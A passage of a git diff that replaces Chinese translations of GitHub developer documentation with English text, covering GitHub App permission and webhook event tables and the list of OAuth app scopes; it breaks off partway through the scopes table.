或 `write`。 | -| `content_references` | 授予对“[创建内容附件](/rest/reference/apps#create-a-content-attachment)”端点的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。 | -| [`内容`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents) | 对用于修改仓库内容的各种端点授予访问权限。 可以是以下项之一：`none`、`read` 或 `write`。 | -| [`部署`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments) | 授予对[部署 API](/rest/reference/repos#deployments) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% ifversion fpt or ghes or ghec %} -| [`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails) | 授予对[电子邮件 API](/rest/reference/users#emails) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% endif %} -| [`关注者`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers) | 授予对[关注者 API](/rest/reference/users#followers) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。 | -| [`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys) | 授予对[GPG 密钥 API](/rest/reference/users#gpg-keys) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。 | -| [`议题`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues) | 授予对[议题 API](/rest/reference/issues) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。 | -| [`键`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys) | 授予对[公钥 API](/rest/reference/users#keys) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。 | -| [`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members) | 授予管理组织成员的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% ifversion fpt or ghec %} -| [`元数据`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions) | 授予对不泄漏敏感数据的只读端点的访问权限。 可以是 `read` 或 `none`。 设置任何权限时，默认值为 `read`；没有为 {% data variables.product.prodname_github_app %} 指定任何权限时，默认值为 `none`。 | -| [`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | 授予对“[更新组织](/rest/reference/orgs#update-an-organization)”端点和[组织交互限制 API](/rest/reference/interactions#set-interaction-restrictions-for-an-organization) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% endif %} -| [`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks) | 授予对[组织 web 挂钩 API](/rest/reference/orgs#webhooks/) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。 | -| `organization_plan` | 授予使用“[获取组织](/rest/reference/orgs#get-an-organization)”端点获取有关组织计划的信息的权限。 可以是以下项之一：`none` 或 `read`。 | -| [`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | 授予对[项目 API](/rest/reference/projects) 的访问权限。 可以是以下项之一：`none`、`read`、`write` 或 `admin`。{% ifversion fpt or ghec %} -| [`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | 授予对[阻止组织用户 API](/rest/reference/orgs#blocking) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% endif %} -| [`页面`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages) | 授予对[页面 API](/rest/reference/repos#pages) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。 | -| `plan` | 授予使用“[获取用户](/rest/reference/users#get-a-user)”端点获取有关用户 GitHub 计划的信息的权限。 可以是以下项之一：`none` 或 `read`。 | -| [`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests) | 授予对各种拉取请求端点的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。 | -| [`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks) | 授予对[仓库 web 挂钩 API](/rest/reference/repos#hooks) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。 | -| [`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects) | 授予对[项目 API](/rest/reference/projects) 的访问权限。 可以是以下项之一：`none`、`read`、`write` 或 `admin`。{% ifversion fpt or ghes > 3.0 or ghec %} -| [`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts) | 授予对[密钥扫描 API](/rest/reference/secret-scanning) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% endif %}{% ifversion fpt or ghes or ghec %} -| [`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events) | 授予对[代码扫描 API](/rest/reference/code-scanning/) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% endif %} -| [`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file) | 授予对[内容 API](/rest/reference/repos#contents) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。 | -| [`标星`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring) | 授予对[标星 API](/rest/reference/activity#starring) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。 | -| [`状态`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses) | 授予对[状态 API](/rest/reference/repos#statuses) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。 | -| [`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions) | 授予对[团队讨论 API](/rest/reference/teams#discussions) 和[团队讨论注释 API](/rest/reference/teams#discussion-comments) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -| `vulnerability_alerts` | 授予接收仓库漏洞依赖项安全警报的权限。 更多信息请参阅“[关于漏洞依赖项的警报](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)”。 可以是以下项之一：`none` 或 `read`。{% endif %} -| `关注` | 授予列出和更改用户订阅的仓库的权限。 可以是以下项之一：`none`、`read` 或 `write`。 | +Permission | Description +---------- | ----------- +[`administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration) | Grants access to various endpoints for organization and repository administration. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %} +[`blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking) | Grants access to the [Blocking Users API](/rest/reference/users#blocking). Can be one of: `none`, `read`, or `write`.{% endif %} +[`checks`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks) | Grants access to the [Checks API](/rest/reference/checks). Can be one of: `none`, `read`, or `write`. +`content_references` | Grants access to the "[Create a content attachment](/rest/reference/apps#create-a-content-attachment)" endpoint. Can be one of: `none`, `read`, or `write`. +[`contents`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents) | Grants access to various endpoints that allow you to modify repository contents. Can be one of: `none`, `read`, or `write`. +[`deployments`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments) | Grants access to the [Deployments API](/rest/reference/repos#deployments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghec %} +[`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails) | Grants access to the [Emails API](/rest/reference/users#emails). Can be one of: `none`, `read`, or `write`.{% endif %} +[`followers`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers) | Grants access to the [Followers API](/rest/reference/users#followers). Can be one of: `none`, `read`, or `write`. +[`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys) | Grants access to the [GPG Keys API](/rest/reference/users#gpg-keys). Can be one of: `none`, `read`, or `write`. +[`issues`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues) | Grants access to the [Issues API](/rest/reference/issues). Can be one of: `none`, `read`, or `write`. +[`keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys) | Grants access to the [Public Keys API](/rest/reference/users#keys). Can be one of: `none`, `read`, or `write`. +[`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members) | Grants access to manage an organization's members. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %} +[`metadata`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions) | Grants access to read-only endpoints that do not leak sensitive data. Can be `read` or `none`. Defaults to `read` when you set any permission, or defaults to `none` when you don't specify any permissions for the {% data variables.product.prodname_github_app %}. +[`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | Grants access to "[Update an organization](/rest/reference/orgs#update-an-organization)" endpoint and the [Organization Interaction Restrictions API](/rest/reference/interactions#set-interaction-restrictions-for-an-organization). Can be one of: `none`, `read`, or `write`.{% endif %} +[`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks) | Grants access to the [Organization Webhooks API](/rest/reference/orgs#webhooks/). Can be one of: `none`, `read`, or `write`. +`organization_plan` | Grants access to get information about an organization's plan using the "[Get an organization](/rest/reference/orgs#get-an-organization)" endpoint. Can be one of: `none` or `read`. +[`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghec %} +[`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | Grants access to the [Blocking Organization Users API](/rest/reference/orgs#blocking). Can be one of: `none`, `read`, or `write`.{% endif %} +[`pages`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages) | Grants access to the [Pages API](/rest/reference/repos#pages). Can be one of: `none`, `read`, or `write`. +`plan` | Grants access to get information about a user's GitHub plan using the "[Get a user](/rest/reference/users#get-a-user)" endpoint. Can be one of: `none` or `read`. +[`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests) | Grants access to various pull request endpoints. Can be one of: `none`, `read`, or `write`. +[`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks) | Grants access to the [Repository Webhooks API](/rest/reference/repos#hooks). Can be one of: `none`, `read`, or `write`. +[`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects) | Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghes > 3.0 or ghec %} +[`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts) | Grants access to the [Secret scanning API](/rest/reference/secret-scanning). Can be one of: `none`, `read`, or `write`.{% endif %}{% ifversion fpt or ghes or ghec %} +[`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events) | Grants access to the [Code scanning API](/rest/reference/code-scanning/). Can be one of: `none`, `read`, or `write`.{% endif %} +[`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file) | Grants access to the [Contents API](/rest/reference/repos#contents). Can be one of: `none`, `read`, or `write`. +[`starring`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring) | Grants access to the [Starring API](/rest/reference/activity#starring). Can be one of: `none`, `read`, or `write`. +[`statuses`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses) | Grants access to the [Statuses API](/rest/reference/repos#statuses). Can be one of: `none`, `read`, or `write`. +[`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions) | Grants access to the [Team Discussions API](/rest/reference/teams#discussions) and the [Team Discussion Comments API](/rest/reference/teams#discussion-comments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +`vulnerability_alerts`| Grants access to receive security alerts for vulnerable dependencies in a repository. See "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)" to learn more. Can be one of: `none` or `read`.{% endif %} +`watching` | Grants access to list and change repositories a user is subscribed to. Can be one of: `none`, `read`, or `write`. -## {% data variables.product.prodname_github_app %} web 挂钩事件 +## {% data variables.product.prodname_github_app %} webhook events -| Web 挂钩事件名称 | 所需权限 | 描述 | -| -------------------------------------------------------------------------------------- | ----------------------------------------------- | -------------------------------------------------------------------------------- | -| [`check_run`](/webhooks/event-payloads/#check_run) | `检查` | {% data reusables.webhooks.check_run_short_desc %} -| [`check_suite`](/webhooks/event-payloads/#check_suite) | `检查` | {% data reusables.webhooks.check_suite_short_desc %} -| [`commit_comment`](/webhooks/event-payloads/#commit_comment) | `内容` | {% data reusables.webhooks.commit_comment_short_desc %} -| [`content_reference`](/webhooks/event-payloads/#content_reference) | `content_references` | {% data reusables.webhooks.content_reference_short_desc %} -| [`create`](/webhooks/event-payloads/#create) | `内容` | {% data reusables.webhooks.create_short_desc %} -| [`delete`](/webhooks/event-payloads/#delete) | `内容` | {% data reusables.webhooks.delete_short_desc %} -| [`deployment`](/webhooks/event-payloads/#deployment) | `部署` | {% data reusables.webhooks.deployment_short_desc %} -| [`deployment_status`](/webhooks/event-payloads/#deployment_status) | `部署` | {% data reusables.webhooks.deployment_status_short_desc %} -| [`复刻`](/webhooks/event-payloads/#fork) | `内容` | {% data reusables.webhooks.fork_short_desc %} -| [`gollum`](/webhooks/event-payloads/#gollum) | `内容` | {% data reusables.webhooks.gollum_short_desc %} -| [`议题`](/webhooks/event-payloads/#issues) | `议题` | {% data reusables.webhooks.issues_short_desc %} -| [`issue_comment`](/webhooks/event-payloads/#issue_comment) | `议题` | {% data reusables.webhooks.issue_comment_short_desc %} -| [`标签`](/webhooks/event-payloads/#label) | `元数据` | {% data reusables.webhooks.label_short_desc %} -| [`成员`](/webhooks/event-payloads/#member) | `members` | {% data reusables.webhooks.member_short_desc %} -| [`membership`](/webhooks/event-payloads/#membership) | `members` | {% data reusables.webhooks.membership_short_desc %} -| [`里程碑`](/webhooks/event-payloads/#milestone) | `pull_request` | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %} -| [`org_block`](/webhooks/event-payloads/#org_block) | `organization_administration` | {% data reusables.webhooks.org_block_short_desc %}{% endif %} -| [`组织`](/webhooks/event-payloads/#organization) | `members` | {% data reusables.webhooks.organization_short_desc %} -| [`page_build`](/webhooks/event-payloads/#page_build) | `页面` | {% data reusables.webhooks.page_build_short_desc %} -| [`project`](/webhooks/event-payloads/#project) | `repository_projects` 或 `organization_projects` | {% data reusables.webhooks.project_short_desc %} -| [`project_card`](/webhooks/event-payloads/#project_card) | `repository_projects` 或 `organization_projects` | {% data reusables.webhooks.project_card_short_desc %} -| [`project_column`](/webhooks/event-payloads/#project_column) | `repository_projects` 或 `organization_projects` | {% data reusables.webhooks.project_column_short_desc %} -| [`public`](/webhooks/event-payloads/#public) | `元数据` | {% data reusables.webhooks.public_short_desc %} -| [`pull_request`](/webhooks/event-payloads/#pull_request) | `pull_requests` | {% data reusables.webhooks.pull_request_short_desc %} -| [`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | `pull_request` | {% data reusables.webhooks.pull_request_review_short_desc %} -| [`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request` | {% data reusables.webhooks.pull_request_review_comment_short_desc %} -| [`推送`](/webhooks/event-payloads/#push) | `内容` | {% data reusables.webhooks.push_short_desc %} -| [`发行版`](/webhooks/event-payloads/#release) | `内容` | {% data reusables.webhooks.release_short_desc %} -| [`仓库`](/webhooks/event-payloads/#repository) | `元数据` | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %} -| [`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) | `内容` | 允许集成者使用 GitHub Actions 触发自定义事件。{% endif %} -| [`状态`](/webhooks/event-payloads/#status) | `状态` | {% data reusables.webhooks.status_short_desc %} -| [`团队`](/webhooks/event-payloads/#team) | `members` | {% data reusables.webhooks.team_short_desc %} -| [`team_add`](/webhooks/event-payloads/#team_add) | `members` | {% data reusables.webhooks.team_add_short_desc %} -| [`查看`](/webhooks/event-payloads/#watch) | `元数据` | {% data reusables.webhooks.watch_short_desc %} +Webhook event name | Required permission | Description +------------------ | ------------------- | ----------- +[`check_run`](/webhooks/event-payloads/#check_run) |`checks` | {% data reusables.webhooks.check_run_short_desc %} +[`check_suite`](/webhooks/event-payloads/#check_suite) |`checks` | {% data reusables.webhooks.check_suite_short_desc %} +[`commit_comment`](/webhooks/event-payloads/#commit_comment) | `contents` | {% data reusables.webhooks.commit_comment_short_desc %} +[`content_reference`](/webhooks/event-payloads/#content_reference) |`content_references` | {% data reusables.webhooks.content_reference_short_desc %} +[`create`](/webhooks/event-payloads/#create) | `contents` | {% data reusables.webhooks.create_short_desc %} +[`delete`](/webhooks/event-payloads/#delete) | `contents` | {% data reusables.webhooks.delete_short_desc %} +[`deployment`](/webhooks/event-payloads/#deployment) | `deployments` | {% data reusables.webhooks.deployment_short_desc %} +[`deployment_status`](/webhooks/event-payloads/#deployment_status) | `deployments` | {% data reusables.webhooks.deployment_status_short_desc %} +[`fork`](/webhooks/event-payloads/#fork) | `contents` | {% data reusables.webhooks.fork_short_desc %} +[`gollum`](/webhooks/event-payloads/#gollum) | `contents` | {% data reusables.webhooks.gollum_short_desc %} +[`issues`](/webhooks/event-payloads/#issues) | `issues` | {% data reusables.webhooks.issues_short_desc %} +[`issue_comment`](/webhooks/event-payloads/#issue_comment) | `issues` | {% data reusables.webhooks.issue_comment_short_desc %} +[`label`](/webhooks/event-payloads/#label) | `metadata` | {% data reusables.webhooks.label_short_desc %} +[`member`](/webhooks/event-payloads/#member) | `members` | {% data reusables.webhooks.member_short_desc %} +[`membership`](/webhooks/event-payloads/#membership) | `members` | {% data reusables.webhooks.membership_short_desc %} +[`milestone`](/webhooks/event-payloads/#milestone) | `pull_request` | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %} +[`org_block`](/webhooks/event-payloads/#org_block) | `organization_administration` | {% data reusables.webhooks.org_block_short_desc %}{% endif %} +[`organization`](/webhooks/event-payloads/#organization) | `members` | {% data reusables.webhooks.organization_short_desc %} +[`page_build`](/webhooks/event-payloads/#page_build) | `pages` | {% data reusables.webhooks.page_build_short_desc %} +[`project`](/webhooks/event-payloads/#project) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_short_desc %} +[`project_card`](/webhooks/event-payloads/#project_card) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_card_short_desc %} +[`project_column`](/webhooks/event-payloads/#project_column) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_column_short_desc %} +[`public`](/webhooks/event-payloads/#public) | `metadata` | {% data reusables.webhooks.public_short_desc %} +[`pull_request`](/webhooks/event-payloads/#pull_request) | `pull_requests` | {% data reusables.webhooks.pull_request_short_desc %} +[`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | `pull_request` | {% data reusables.webhooks.pull_request_review_short_desc %} +[`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request` | {% data reusables.webhooks.pull_request_review_comment_short_desc %} +[`push`](/webhooks/event-payloads/#push) | `contents` | {% data reusables.webhooks.push_short_desc %} +[`release`](/webhooks/event-payloads/#release) | `contents` | {% data reusables.webhooks.release_short_desc %} +[`repository`](/webhooks/event-payloads/#repository) |`metadata` | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %} +[`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) | `contents` | Allows integrators using GitHub Actions to trigger custom events.{% endif %} +[`status`](/webhooks/event-payloads/#status) | `statuses` | {% data reusables.webhooks.status_short_desc %} +[`team`](/webhooks/event-payloads/#team) | `members` | {% data reusables.webhooks.team_short_desc %} +[`team_add`](/webhooks/event-payloads/#team_add) | `members` | {% data reusables.webhooks.team_add_short_desc %} +[`watch`](/webhooks/event-payloads/#watch) | `metadata` | {% data reusables.webhooks.watch_short_desc %} diff --git a/translations/zh-CN/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md b/translations/zh-CN/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md index 9a63f8003a..3dc9de0fb9 100644 --- a/translations/zh-CN/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md +++ b/translations/zh-CN/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md @@ -1,5 +1,5 @@ --- -title: OAuth 应用程序的作用域 +title: Scopes for OAuth Apps intro: '{% data reusables.shortdesc.understanding_scopes_for_oauth_apps %}' redirect_from: - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps/ @@ -14,18 +14,17 @@ versions: topics: - OAuth Apps --- - -在 GitHub 上设置 OAuth 应用程序时，请求的作用域会在授权表单上显示给用户。 +When setting up an OAuth App on GitHub, requested scopes are displayed to the user on the authorization form. {% note %} -**注** ：如果您在构建 GitHub 应用程序，则不需要在授权请求中提供作用域。 更多信息请参阅“[识别和授权 GitHub 应用程序用户](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)”。 +**Note:** If you're building a GitHub App, you don’t need to provide scopes in your authorization request. For more on this, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." {% endnote %} -如果 {% data variables.product.prodname_oauth_app %} 无法访问浏览器（如 CLI 工具），则无需为用户指定向应用程序验证的作用域。 更多信息请参阅“[授权 OAuth 应用程序](/developers/apps/authorizing-oauth-apps#device-flow)”。 +If your {% data variables.product.prodname_oauth_app %} doesn't have access to a browser, such as a CLI tool, then you don't need to specify a scope for users to authenticate to your app. For more information, see "[Authorizing OAuth apps](/developers/apps/authorizing-oauth-apps#device-flow)." -检查标头以查看您拥有哪些 OAuth 作用域，以及 API 操作接受什么： +Check headers to see what OAuth scopes you have, and what the API action accepts: ```shell $ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/users/codertocat -I @@ -34,53 +33,54 @@ X-OAuth-Scopes: repo, user X-Accepted-OAuth-Scopes: user ``` -* `X-OAuth-Scopes` 列出令牌已授权的作用域。 -* `X-Accepted-OAuth-Scopes` 列出操作检查的作用域。 +* `X-OAuth-Scopes` lists the scopes your token has authorized. +* `X-Accepted-OAuth-Scopes` lists the scopes that the action checks for. -## 可用作用域 +## Available scopes -| 名称 | 描述 | -| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion not ghae %} -| **`（无作用域）`** | 授予对公共信息的只读访问权限（包括用户个人资料信息、公共仓库信息和 gist）{% endif %}{% ifversion ghes or ghae %} -| **`site_admin`** | 授予站点管理员对 [{% data variables.product.prodname_ghe_server %} 管理 API 端点](/rest/reference/enterprise-admin)的访问权限。{% endif %} -| **`repo`** | 授予对仓库（包括私有仓库）的完全访问权限。 这包括对仓库和组织的代码、提交状态、仓库和组织项目、邀请、协作者、添加团队成员身份、部署状态以及仓库 web 挂钩的读取/写入权限。 还授予管理用户项目的权限。 | -|  `repo:status` | 授予对{% ifversion not ghae %}公共{% else %}内部{% endif %}和私有仓库提交状态的读/写权限。 仅在授予其他用户或服务对私有仓库提交状态的访问权限而*不*授予对代码的访问权限时，才需要此作用域。 | -|  `repo_deployment` | 授予对{% ifversion not ghae %}公共{% else %}内部{% endif %}和私有仓库的[部署状态](/rest/reference/repos#deployments)的访问权限。 仅在授予其他用户或服务对部署状态的访问权限而*不*授予对代码的访问权限时，才需要此作用域。{% ifversion not ghae %} -|  `public_repo` | 将访问权限限制为公共仓库。 这包括对公共仓库和组织的代码、提交状态、仓库项目、协作者以及部署状态的读取/写入权限。 标星公共仓库也需要此权限。{% endif %} -|  `repo:invite` | 授予接受/拒绝仓库协作邀请的权限。 仅在授予其他用户或服务对邀请的访问权限而*不*授予对代码的访问权限时，才需要此作用域。{% ifversion fpt or ghes > 3.0 or ghec %} -|  `security_events` | 授予：
                    对 [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning) 中安全事件的读取和写入权限
                    对 [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning) 中安全事件的读取和写入权限
                    仅在授予其他用户或服务对安全事件的访问权限而*不*授予对代码的访问权限时，才需要此作用域。{% endif %}{% ifversion ghes < 3.1 %} -|  `security_events` | 授予对 [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning) 中安全事件的读取和写入权限。 仅在授予其他用户或服务对安全事件的访问权限而*不*授予对代码的访问权限时，才需要此作用域。{% endif %} -| **`admin:repo_hook`** | 授予对{% ifversion not ghae %}公共{% else %}内部{% endif %}和私人仓库中仓库挂钩的读取、写入、ping 和删除权限。 `repo` {% ifversion not ghae %}和 `public_repo` 范围授予{% else %}范围授予{% endif %}对仓库（包括仓库挂钩）的完全访问权限。 使用 `admin:repo_hook` 作用域将访问权限限制为仅仓库挂钩。 | -|  `write:repo_hook` | 授予对{% ifversion not ghae %}公共{% else %}内部{% endif %}或私人仓库中仓库挂钩的读取、写入和 ping 权限。 | -|  `read:repo_hook` | 授予对{% ifversion not ghae %}公共{% else %}内部{% endif %}或私人仓库中仓库挂钩的读取和 ping 权限。 | -| **`admin:org`** | 全面管理组织及其团队、项目和成员。 | -|  `write:org` | 对组织成员身份、组织项目和团队成员身份的读取和写入权限。 | -|  `read:org` | 对组织成员身份、组织项目和团队成员身份的只读权限。 | -| **`admin:public_key`** | 全面管理公钥。 | -|  `write:public_key` | 创建、列出和查看公钥的详细信息。 | -|  `read:public_key` | 列出和查看公钥的详细信息。 | -| **`admin:org_hook`** | 授予对组织挂钩的读取、写入、ping 和删除权限。 **注：**OAuth 令牌只能对由 OAuth 应用程序创建的组织挂钩执行这些操作。 个人访问令牌只能对用户创建的组织挂钩执行这些操作。 | -| **`gist`** | 授予对 gist 的写入权限。 | -| **`通知`** | 授予：
                    * 对用户通知的读取权限
                    * 对线程的标记读取权限
                    * 对仓库的关注和取消关注权限，以及
                    * 对线程订阅的读取、写入和删除权限。 | -| **`用户`** | 仅授予对个人资料的读取/写入权限。 请注意，此作用域包括 `user:email` 和 `user:follow`。 | -|  `read:user` | 授予读取用户个人资料数据的权限。 | -|  `user:email` | 授予对用户电子邮件地址的读取权限。 | -|  `user:follow` | 授予关注或取消关注其他用户的权限。 | -| **`delete_repo`** | 授予删除可管理仓库的权限。 | -| **`write:discussion`** | 授予对团队讨论的读取和写入权限。 | -|  `read:discussion` | 授予对团队讨论的读取权限。{% ifversion fpt or ghae or ghec %} -| **`write:packages`** | 授予在 {% data variables.product.prodname_registry %} 中上传或发布包的权限。 更多信息请参阅“[发布包](/github/managing-packages-with-github-packages/publishing-a-package)”。 | -| **`read:packages`** | 授予从 {% data variables.product.prodname_registry %} 下载或安装包的权限。 更多信息请参阅“[安装包](/github/managing-packages-with-github-packages/installing-a-package)”。 | -| **`delete:packages`** | 授予从 {% data variables.product.prodname_registry %} 删除包的权限。 更多信息请参阅“{% ifversion fpt or ghes > 3.0 or ghec %}[删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[删除包](/packages/learn-github-packages/deleting-a-package){% endif %}”。{% endif %} -| **`admin:gpg_key`** | 全面管理 GPG 密钥。 | -|  `write:gpg_key` | 创建、列出和查看 GPG 密钥的详细信息。 | -|  `read:gpg_key` | 列出和查看 GPG 密钥的详细信息。{% ifversion fpt or ghec %} -| **`代码空间`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)." | -| **`工作流程`** | 授予添加和更新 {% data variables.product.prodname_actions %} 工作流程文件的权限。 如果在同一仓库中的另一个分支上存在相同的文件(具有相同的路径和内容)，则工作流程文件可以在没有此作用域的情况下提交。 工作流程文件可以暴露可能有不同范围集的 `GITHUB_TOKEN`。 更多信息请参阅“[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)。{% endif %} +Name | Description +-----|-----------|{% ifversion not ghae %} +**`(no scope)`** | Grants read-only access to public information (including user profile info, repository info, and gists){% endif %}{% ifversion ghes or ghae %} +**`site_admin`** | Grants site administrators access to [{% data variables.product.prodname_ghe_server %} Administration API endpoints](/rest/reference/enterprise-admin).{% endif %} +**`repo`** | Grants full access to repositories, including private repositories. That includes read/write access to code, commit statuses, repository and organization projects, invitations, collaborators, adding team memberships, deployment statuses, and repository webhooks for repositories and organizations. Also grants ability to manage user projects. + `repo:status`| Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% elsif ghae %}private and internal{% endif %} repositories. This scope is only necessary to grant other users or services access to private repository commit statuses *without* granting access to the code. + `repo_deployment`| Grants access to [deployment statuses](/rest/reference/repos#deployments) for {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories. This scope is only necessary to grant other users or services access to deployment statuses, *without* granting access to the code.{% ifversion not ghae %} + `public_repo`| Limits access to public repositories. That includes read/write access to code, commit statuses, repository projects, collaborators, and deployment statuses for public repositories and organizations. Also required for starring public repositories.{% endif %} + `repo:invite` | Grants accept/decline abilities for invitations to collaborate on a repository. This scope is only necessary to grant other users or services access to invites *without* granting access to the code.{% ifversion fpt or ghes > 3.0 or ghec %} + `security_events` | Grants:
                    read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning)
                    read and write access to security events in the [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning)
                    This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}{% ifversion ghes < 3.1 %} + `security_events` | Grants read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning). This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %} +**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. The `repo` {% ifversion fpt or ghec or ghes %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks. + `write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion fpt %}public 